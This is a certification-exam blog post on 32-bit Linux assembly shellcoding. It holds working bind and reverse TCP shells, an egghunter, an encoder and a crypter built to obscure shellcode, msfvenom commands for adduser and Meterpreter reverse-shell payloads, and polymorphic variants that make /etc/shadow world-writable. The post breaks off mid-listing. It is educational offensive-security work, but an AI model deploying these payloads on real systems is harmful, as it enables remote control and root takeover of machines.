21 March

SLAE — SecurityTube Linux Assembly Exam

Information SecurityAssemblerC
image
SecurityTube Linux Assembly Exam (SLAE) — is a final part of course:
securitytube-training.com/online-courses/securitytube-linux-assembly-expert
This course focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec and can be useful for security engineers, penetrations testers and everyone who wants to understand how to write simple shellcodes.
This blog post have been created for completing requirements of the Security Tube Linux Assembly Expert certification.
Exam consists of 7 tasks:
1. TCP Bind Shell
2. Reverse TCP Shell
3. Egghunter
4. Custom encoder
5. Analysis of 3 msfvenom generated shellcodes with GDB/ndisasm/libemu
6. Modifying 3 shellcodes from shell-storm
7. Creating custom encryptor
Student ID: SLAE-12034

Preparation


Before I start to describe 7 tasks of this exam, I should explain some scripts, which help a lot in exam automatization.

nasm32.sh
#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./nasm32 <nasmMainFile> (no extension)"
  exit
fi

if [ ! -e "$1.asm" ]; then
  echo "Error, $1.asm not found."
  echo "Note, do not enter file extensions"
  exit
fi

nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o

Usually I use this command for fast compiling and linking .asm files.

popcode.sh
PrintOpcode
#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

Prints opcode of program in format "\x..\x...."

hexopcode.sh
HexOpcode
#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

Prints opcode without "\x". Useful for using with next python script

hex2stack.py
hex to stack
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print("Enter opcode in hex")
		sys.exit(0)

	string = sys.argv[1]

	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]

	l = len(reversed) % 4
	if l:
		print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))

	for p in range(l, len(reversed[l:]), 4):
		print("\tpush 0x" + "".join(reversed[p:p+4]))

This python script recieves opcode in hex-format and prints push commands for assembly file.
Example:
$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80

out:
	push 0x9080cd0b
	push 0xb0e18953
	push 0xc28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031


This is comfortable for placing our shellcode in stack for future executing.

uscompile.sh
UnSafeCompile. Another alias for compiling C files, usually with shellcode.
#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./compile <cFile> (no extension)"
  exit
fi

if [ ! -e "$1.c" ]; then
  echo "Error, $1.c not found."
  echo "Note, do not enter file extensions"
  exit
fi

gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c


shellcode.c
#include<stdio.h>
#include<string.h>

unsigned char code[] =
"";

int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

It's a template for checking shellcodes. Length will be calculated until first '\x00'.

Tasks


1. TCP Bind Shell


Common algorithm of creating Linux TCP Socket is:
1. Create socket with socket() call
2. Set properties for created socket: protocol, address, port and execute bind() call
3. Execute listen() call for connections
4. accept() for accepting clients
5. Duplicate standard file descriptors in client's file descriptor
6. execve() shell

It's better for understanding to start with C TCP Bind Shell program.
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
    int clientfd, sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
    // AF_INET = 2, SOCK_STREAM = 1
    // create socket, save socket file descriptor in sockfd variable
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // fill structure
    mysockaddr.sin_family = AF_INET; //--> can be represented in numeric as 2
    mysockaddr.sin_port = htons(port);
    //mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented in numeric as 0 which means to bind to all interfaces
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
    // size of this array is 16 bytes
    //printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));
    // executing bind() call
    bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
    // listen()
    listen(sockfd, 1);
    // accept()
    clientfd = accept(sockfd, NULL, NULL);
    // duplicate standard file descriptors in client file descriptor
    dup2(clientfd, 0);
    dup2(clientfd, 1);
    dup2(clientfd, 2);
    // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
    char * const argv[] = {"sh",NULL, NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}


Now, lets write same program on assembly language.
0. Prepare registers
	section .text
global _start

_start:
	xor eax, eax
	xor ebx, ebx
	xor esi, esi

1. Create socket
In x86 linux syscalls there is no direct socket() call. All socket calls can be executed via socketcall() method. socketcall() method recieves 2 arguments: number of socket call and pointer to it's arguments. List of socket calls you can find in /usr/include/linux/net.h file.
	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

2. Creating sockaddr_in addr struct and bind()
In sockaddr_in structure PORT has WORD size, as Protocol family number
image

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102
	mov bl, 2		; bind()
	mov ecx, esp
	int 0x80

If you want to set another port:
$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"

And if you want to set address directly:
$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'


3. listen() call
	; creating listen
	push 1
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

4. Accept()
	; creating accept()
	push esi
	push esi
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

5. Duplicating file descriptors
	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup


6. Executing /bin/sh via execve()
	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80


All information about system calls you can read from Linux manuals. For example:
$man 2 bind


Put it all together
	section .text
global _start

_start:
	; clear registers
	xor eax, eax
	xor ebx, ebx
	xor esi, esi
	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102		; socketcall() number
	mov bl, 2		; bind()
	mov ecx, esp		; 2nd argument - pointer to args
	int 0x80

	; creating listen
	push 1			; listen for 1 client
	push edx		; clients queue size
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

	; creating accept()
	push esi		; use default value
	push esi		; use default value
	push edx		; sockfd
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx		; clear ecx
	mov cl, 3		; number of loops
	mov ebx, edx		; socketfd
dup:	dec ecx
	mov al, 63		; number of dup2 syscall()
	int 0x80
	jns dup			; repeat for 1,0

	; execve /bin/bash
	xor eax, eax		; clear eax
	push eax		; string terminator
	push 0x68732f2f		; //bin/sh
	push 0x6e69622f
        mov ebx, esp		; 1st arg - address of //bin/sh
        push eax		; 
        mov edx, eax		; last argument is zero
        push ebx		; 2nd arg - pointer to all args of command
        mov ecx, esp		; pointer to args
        mov al, 11		; execve syscall number
        int 0x80


Check it
image

2. Reverse TCP Shell


This task is quite similar with previous one. The difference is in replacing bind(), listen(), accept() with connect() method.
Algorithm:
1. Create socket with socket() call
2. Set properties for created socket: protocol, address, port and execute connect() call
3. Duplicate sockfd into standard file descriptors (STDIN, STDOUT, STDERR)
4. execve() shell

C code
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main ()
{
    const char* ip = "192.168.0.106";	// place your address here
    struct sockaddr_in addr;

    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);	// port
    inet_aton(ip, &addr.sin_addr);

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));

    /* duplicating standard file descriptors */
    for (int i = 0; i < 3; i++)
    {
        dup2(sockfd, i);
    }

    execve("/bin/sh", NULL, NULL);

    return 0;
}


Translate it into assembly:
	section .text
global _start

_start:
	; creating socket
	xor eax, eax
	xor esi, esi
	xor ebx, ebx
	push esi
	push 0x1
	push 0x2
	; calling socket call for socket creating
	mov al, 102
	mov bl, 1
	mov ecx, esp
	int 0x80
	mov edx, eax

	; creating sockaddr_in and connect()
	push esi
	push esi
	push 0x6a00a8c0		; IPv4 address to connect
	push WORD 0x5c11	; port
	push WORD 2
	mov ecx, esp
	push 0x16
	push ecx
	push edx
	; socketcall()
	mov al, 102
	mov bl, 3		; connect()
	mov ecx, esp
	int 0x80

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup



	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80


Then
$nasm32 reverse_tcp_shell.asm


You can set custom IP address to connect and port with python commands above (Task 1)
Result
image

3. Egg hunter technique


The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for final stage shellcode and redirect execution flow to it.

For imitation this technique in assembly language I decided to:
1. Push some trash in stack
2. Push shellcode in stack
3. Push egg which we will search for
4. Push another trash

Let's generate some trash with python script

#!/usr/bin/python3

import random

rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
	bts = rdm[i:i+4]
	print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))


I want to find shellcode of execute execve() with /bin/sh.
	; execve_sh
global _start

section .text
_start:

        ; PUSH 0
        xor eax, eax
        push eax

        ; PUSH //bin/sh (8 bytes)
	push 0x68732f2f
	push 0x6e69622f

        mov ebx, esp

        push eax
        mov edx, eax

        push ebx
        mov ecx, esp

        mov al, 11
        int 0x80


Generate push commands for this:
$nasm32 execve_sh; ./hex2stack.py $(hexopcode execve_sh)


Put it all together
section .text
global _start

_start:
	; trash
	push 0x94047484
	push 0x8c35f24a
	push 0x5a449067
	push 0xf5a651ed
	push 0x7161d058
	push 0x3b7b4e10
	push 0x9f93c06e
	; shellcode execve() /bin/sh
	push 0x9080cd0b
	push 0xb0e18953
	push 0xe28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031
	; egg
	push 0xdeadbeef
	; trash
        push 0xd213a92d
        push 0x9e3a066b
        push 0xeb8cb927
        push 0xddbaec55
        push 0x43a73283
        push 0x89f447de
        push 0xacfb220f


	mov ebx, 0xefbeadde	; egg in reverse order
        mov esi, esp
        mov cl, 200		; change this value for deeper or less searching

find:   lodsb			; read byte from source - esi
        cmp eax, ebx		; is it egg?
        jz equal		; if so, give control to shellcode
	shl eax, 8		; if not, shift one byte left
        loop find		; repeat

	xor eax, eax		; if there is no egg - exit
        mov al, 1
	xor ebx, ebx
        mov bl, 10
        int 0x80

equal: jmp esi			; jmp to shellcode


image

You can replace instruction loop find with jmp find but it can crash program.

There are cases when your shellcode can be in lower address than your egghunter code. In this case reverse reading with Direction flag (std) can help you to perform search for egg. When you found shellcode, clear direction flag and jump to esi+offset.

4. Encoder


In this exercise I've made insertion encoder with small trick: there is random value of «trash» bytes. Encoder looks:
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
        print("Enter opcode in hex")
        sys.exit(0)

opcode = sys.argv[1]
encoded = ""

b1 = bytearray.fromhex(opcode)

# Generates random value from 1 to 5 of 'aa' string
for x in b1:
        t = 'aa' * random.randint(1,5)
        encoded += '%02x' % x + t

print(encoded)


As always, place this code into stack:
$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

Output:
	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

Pay attention at first part: 0x909090aa. 90 will be end-of-shellcode byte in decoder.
Code of decoder.asm
	section .text
	global _start
_start:
	; encoded shellcode
	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

	; prepare registers for decoding
	mov esi, esp
	mov edi, esp
	mov bl, 0xaa

decoder:
	lodsb		; read byte from stack
	cmp al, bl	; check: is it trash byte?
	jz loopy	; if so, repeat
	cmp al, 0x90	; is it end of shellcode?
	jz exec		; if so, go to start of shellcode
	stosb		; if not, place byte of shellcode into stack
loopy:	jmp decoder	; repeat

exec:	jmp esp		; give flow control to shellcode


When shellcode has no nop instructions it is normal to choose this byte as stop-marker. You can choose any another value as stop-marker — push this byte(s) first.
Result
image

5. Analyzing msfvenom generated shellcodes with GDB/libemu/ndisasm


1. Add user
Command for generating shellcode
msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c


There are several ways to analyze this code with GDB, I decided to place this code into stack and execute it:
$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	...

And make .asm file:
	section .text
	global _start
_start:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	push 0x6afc518b
	push 0x590a6873
	push 0x2f6e6962
	push 0x2f3a2f3a
	push 0x3a303a30
	push 0x3a635249
	push 0x3470346a
	push 0x7349642f
	push 0x7a413a74
	push 0x696f6c70
	push 0x73617465
	push 0x6d000000
	push 0x28e89380
	push 0xcd04b541
	push 0xe3896374
	push 0x652f6861
	push 0x702f2f68
	push 0x64777373
	push 0x6851c931
	push 0x58056a80
	push 0xcd58466a
	push 0xcb89c931
	jmp esp

image
First, setreuid(0,0) syscall is executing. It sets root privileges to program.
xor ecx, ecx	; ecx = 0
mov ebx, ecx	; ebx = 0
; setreuid(0,0) - set root as owner of this process
push 0x46
pop eax
int 0x80


Then open /etc/passwd file and go to address with call instruction. Call instruction places address of next instruction onto stack. In our case it is string «metasploit...» which program adds into opened file. This picture clarifies number values which is used with files.
image
; Executing open() sys call
push 0x5
pop eax
xor ecx, ecx
push ecx	; push 0, end of filename path
; pushing /etc/passwd string
push   0x64777373
push   0x61702f2f
push   0x6374652f
mov ebx, esp	; placing address of filename as argument
inc ecx
mov ch,0x4	; ecx is 0x401 - 02001 - open file in write only access and append
int 0x80
xchg ebx, eax
call 0x80480a7


And last step is writing our string into /etc/passwd file.
pop ecx 	; string metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀\220\220\220\001
mov edx, DWORT PTR [ecx-0x4]	; length of string
push ecx
push 0x4
pop eax
int 0x80	; write string into file
push 0x1
pop eax
int 0x80	; exit


Instructions after call
image

Due to call instruction we can set any pair username:password easily.

2. Exec whoami
Generate shellcode
$msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin


This payload execute /bin/sh -c whoami, using call instruction. In case of call next instruction is placing into stack, that's why it's easily to create any command for executing.

To analyze shellcode with libemu:
$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin


[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
; execve()		
[emu 0x0x16c8100 debug ] 58                              pop eax		
[emu 0x0x16c8100 debug ] 99                              cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52                              push edx		
; "-c"
[emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	
[emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		
; null
[emu 0x0x16c8100 debug ] 52                              push edx		
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8                              call 0x1		
; push "-c"
[emu 0x0x16c8100 debug ] 57                              push edi		
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53                              push ebx		
; 2nd argument of execve() 
; pointer to args
[emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		
; execute execve()
[emu 0x0x16c8100 debug ] CD80                            int 0x80		


image

3. Reverse Meterpreter TCP
command to generate payload
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin


Then

ndisasm -u meter_revtcp.bin

Code with comments
00000000  6A0A              push byte +0xa
00000002  5E                pop esi			; place 10 in esi
00000003  31DB              xor ebx,ebx			; nullify ebx
00000005  F7E3              mul ebx
00000007  53                push ebx			; push 0
00000008  43                inc ebx			; 1 in ebx
00000009  53                push ebx			; push 1
0000000A  6A02              push byte +0x2		; push 2
0000000C  B066              mov al,0x66			; mov socketcall
0000000E  89E1              mov ecx,esp			; address of argument
00000010  CD80              int 0x80			; calling socketcall() with socket()
00000012  97                xchg eax,edi		; place sockfd in edi
00000013  5B                pop ebx			; in ebx 1
00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to
00000019  680200115C        push dword 0x5c110002	; place port and proto family
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax			; socketcall()
00000023  50                push eax
00000024  51                push ecx			; addresss of sockaddr_in structure
00000025  57                push edi			; sockfd
00000026  89E1              mov ecx,esp			; address of arguments
00000028  43                inc ebx
00000029  CD80              int 0x80			; call connect()
0000002B  85C0              test eax,eax		; 
0000002D  7919              jns 0x48			; if connect successful - jmp
0000002F  4E                dec esi			; in esi 10 - number of attempts to connect
00000030  743D              jz 0x6f			; if zero attempts left - exit
00000032  68A2000000        push dword 0xa2
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80			; wait 5 seconds
00000042  85C0              test eax,eax
00000044  79BD              jns 0x3
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area
0000004A  B900100000        mov ecx,0x1000		; 4096 bytes
0000004F  89E3              mov ebx,esp
00000051  C1EB0C            shr ebx,byte 0xc
00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits
00000057  B07D              mov al,0x7d			; mprotect syscall
00000059  CD80              int 0x80
0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f			; if no success with mprotect -> exit
0000005F  5B                pop ebx			; if success put sockfd in ebx
00000060  89E1              mov ecx,esp
00000062  99                cdq
00000063  B60C              mov dh,0xc
00000065  B003              mov al,0x3			; read data from socket
00000067  CD80              int 0x80
00000069  85C0              test eax,eax
0000006B  7802              js 0x6f
0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell
0000006F  B801000000        mov eax,0x1
00000074  BB01000000        mov ebx,0x1
00000079  CD80              int 0x80


This code is creating socket, trying to connect to the specified IP address, call mprotect for creating memory area and read 2nd part of shellcode from socket. If it can't connect to destination address, program waits 5 seconds and then is trying to reconnect. In case of fall on any stage it exits.

6. Three polymorphic shellcodes from shell-storm


1. chmod /etc/shadow
	; http://shell-storm.org/shellcode/files/shellcode-608.php
	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
	; length - 40 bytes
	section .text

global _start

_start:
	sub ebx, ebx	; replaced
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	sub eax, eax	; replaced
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80


This shellcode calls setuid() with zero params (setting root privileges) and then chmod() /etc/shadow file.

image
In some cases this code can be executed without nullifying registers.

	section .text
global _start

_start:
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

This code is running well by building .asm.

2. Execve /bin/sh
	; http://shell-storm.org/shellcode/files/shellcode-251.php
	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
	; length - 45 byte
	section .text
global _start
_start:
	push 0x17
	mov eax, [esp]	; replaced
	sub ebx, ebx	; replaced
	imul edi, ebx	; replaced
	int 0x80

	push 0x2e
	mov eax, [esp]	; replaced
	push edi 	; replaced
	int 0x80

	sub edx, edx	; replaced
	push 0xb
	pop eax
	push edi	; replaced
	push 0x68732f2f
	push 0x6e69622f
	lea ebx, [esp]	; replaced
	push edi	; replaced
	push edi	; replaced
	lea esp, [ecx]	; replaced
	int 0x80


image

3. TCP bind shellcode with second stage
	; original: http://shell-storm.org/shellcode/files/shellcode-501.php
	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
	; length 94
	section .text
global _start

_start:
	sub eax, eax	; replaced
	imul ebx, eax	; replaced
	imul edx, eax	; replaced

_socket:
	push 0x6
	push 0x1
	push 0x2
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp] ; replaced
	int 0x80

_bind:
	mov edi, eax	; placing descriptor
	push edx
	push WORD 0xb315	;/* 5555 */
	push WORD 2
	lea ecx, [esp]	; replaced
	push 16
	push ecx
	push edi
	xor eax, eax	; replaced
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_listen:
	mov bl, 4	; replaced
	push 0x1
	push edi
	add al, 0x66	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_accept:
	push edx
	push edx
	push edi
	add al, 0x66	; replaced
	mov bl, 5	; replaced
	lea ecx, [esp]	; replaced
	int 0x80
	mov ebx, eax

_read:
	mov al, 0x3
	lea ecx, [esp]	; replaced
	mov dx, 0x7ff
	mov dl, 1	; replaced
	int 0x80
	jmp esp


Code of 2nd stage
	section .text
global _start

_start:
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	mov ebx, 100
	int 0x80

image
Our 2nd stage is executed: exit code is 100.

7. Crypter


This is assemby course and exam that's why I decided to realize simple substitution cipher on assembly.

crypter.py
#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
	print("Enter shellcode in hex")
	sys.exit(0)

shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)

# Generating key
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())

encrypted_shellcode = ""
plain_key = ""

for b in range(len(plain_shellcode)):
	enc_b = (plain_shellcode[b] + key[b]) & 255
	encrypted_shellcode += '%02x' % enc_b
	plain_key += '0x'+ '%02x' % key[b] + ','

print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)


First, create skeleton:
	section .text
global _start

_start:
	; push encrypted shellcode
	<PUSH ENCRYPTED SHELLCODE>

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, <KEY LENGTH>

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db <CIPHER KEY>


This code requires 3 things: push instructions with encrypted shellcode, key length and cipher key itself.
Let's encrypt TCP bind shell shellcode.
$hexopcode bind_tcp_shell 
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80


Encrypt output
$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105


print push instructions for our encrypted shellcode
$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
	push 0x90909013
	push 0x8fb7726f
        ...


And fill all fileds in .asm file
	section .text
global _start

_start:
	; push encrypted shellcode
	push 0x90909013
	push 0x8fb7726f
	push 0x4cad864b
	push 0xbf09ba20
	push 0x2c13f1e5
	push 0x1e36bff2
	push 0x83a47bf3
	push 0x76b90c8f
	push 0xfa73b77f
	push 0x4c55318b
	push 0xab3cb9c5
